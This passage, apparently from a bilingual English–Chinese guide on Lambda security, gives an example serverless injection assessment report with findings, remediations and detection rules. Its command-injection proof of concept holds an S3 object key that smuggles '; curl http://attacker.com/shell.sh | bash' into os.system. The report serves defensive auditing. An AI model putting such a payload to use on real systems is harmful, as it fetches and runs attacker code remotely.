sts:GetCallerIdentity、对客户表的s3:ListBuckets以及dynamodb:Scan尝试iam:CreateUser - 响应措施:从CI/CD工件存储库中的最后一个已知良好部署包恢复函数代码,轮换执行角色的会话令牌,并添加SCP限制仅CI/CD角色可执行
lambda:UpdateFunctionCode
常见误区:
- 仅检查函数代码,忽略恶意层(即使函数代码恢复,恶意层仍会保留)
- 未搜索窃取凭证向其他AWS服务的横向移动,遗漏从DynamoDB或S3窃取数据的行为
- 未检查攻击者在凭证有效期内是否创建了新的IAM用户、访问密钥或角色
- 恢复函数前未保留恶意代码作为取证证据
- 修复后未实施预防控制(SCP、EventBridge告警),导致相同攻击路径仍然开放
Output Format
输出格式
undefinedundefinedServerless Function Injection Assessment
无服务器函数注入评估
Account: 111122223333
Region: us-east-1
Functions Analyzed: 47
Event Source Mappings: 23
Assessment Date: 2026-03-19
账户:111122223333
区域:us-east-1
分析的函数数量:47
事件源映射数量:23
评估日期:2026-03-19
Critical Findings
关键发现
FINDING-001: OS Command Injection in S3 Event Handler
FINDING-001:S3事件处理器中的操作系统命令注入
Function: image-resize-processor
Runtime: python3.12
Severity: Critical (CVSS 9.8)
Sink: os.system() at handler.py:34
Source: event['Records'][0]['s3']['object']['key']
Attack Vector: Upload S3 object with key containing shell metacharacters
Proof of Concept:
Object key:
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
Remediation: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
; curl http://attacker.com/shell.sh | bash函数:image-resize-processor
运行时:python3.12
严重程度:关键(CVSS 9.8)
接收点:handler.py:34处的os.system()
来源:event['Records'][0]['s3']['object']['key']
攻击向量:上传带有Shell元字符的S3对象键
概念验证:
对象键:
执行结果:os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
修复建议:将os.system()替换为带shell=False的subprocess.run()
并根据白名单模式验证S3键。
; curl http://attacker.com/shell.sh | bashFINDING-002: IAM Privilege Escalation Path
FINDING-002:IAM权限提升路径
Function: data-export-worker
Execution Role: arn:aws:iam::111122223333:role/DataExportRole
Role Permissions: s3:, dynamodb:, iam:PassRole, lambda:*
Risk: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
Remediation: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
函数:data-export-worker
执行角色:arn:aws:iam::111122223333:role/DataExportRole
角色权限:s3:, dynamodb:, iam:PassRole, lambda:*
风险:任何拥有lambda:UpdateFunctionCode权限的用户都可修改此函数
以执行具有管理员权限级别的任意AWS API调用。
修复建议:为执行角色应用最小权限原则,通过SCP限制仅CI/CD流水线角色可执行lambda:UpdateFunctionCode。
FINDING-003: Unauthorized Layer Attached
FINDING-003:附加未授权层
Function: auth-token-validator
Layer: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
Layer Account: External account (999888777666)
Risk: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
Remediation: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
函数:auth-token-validator
层:arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
层所属账户:外部账户(999888777666)
风险:来自不受信任外部账户的层可拦截所有函数
调用、修改响应或窃取环境变量。
修复建议:移除外部层,将依赖打包到函数部署包中,添加AWS Config规则阻止外部层。
Detection Rules Deployed
部署的检测规则
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions
undefined- EventBridge规则:非CI/CD主体执行UpdateFunctionCode时告警
- CloudWatch告警:5分钟内函数错误率超过基线3倍时告警
- Config规则:Lambda函数不得使用外部账户的层
- Config规则:Lambda执行角色不得拥有通配符资源权限
undefined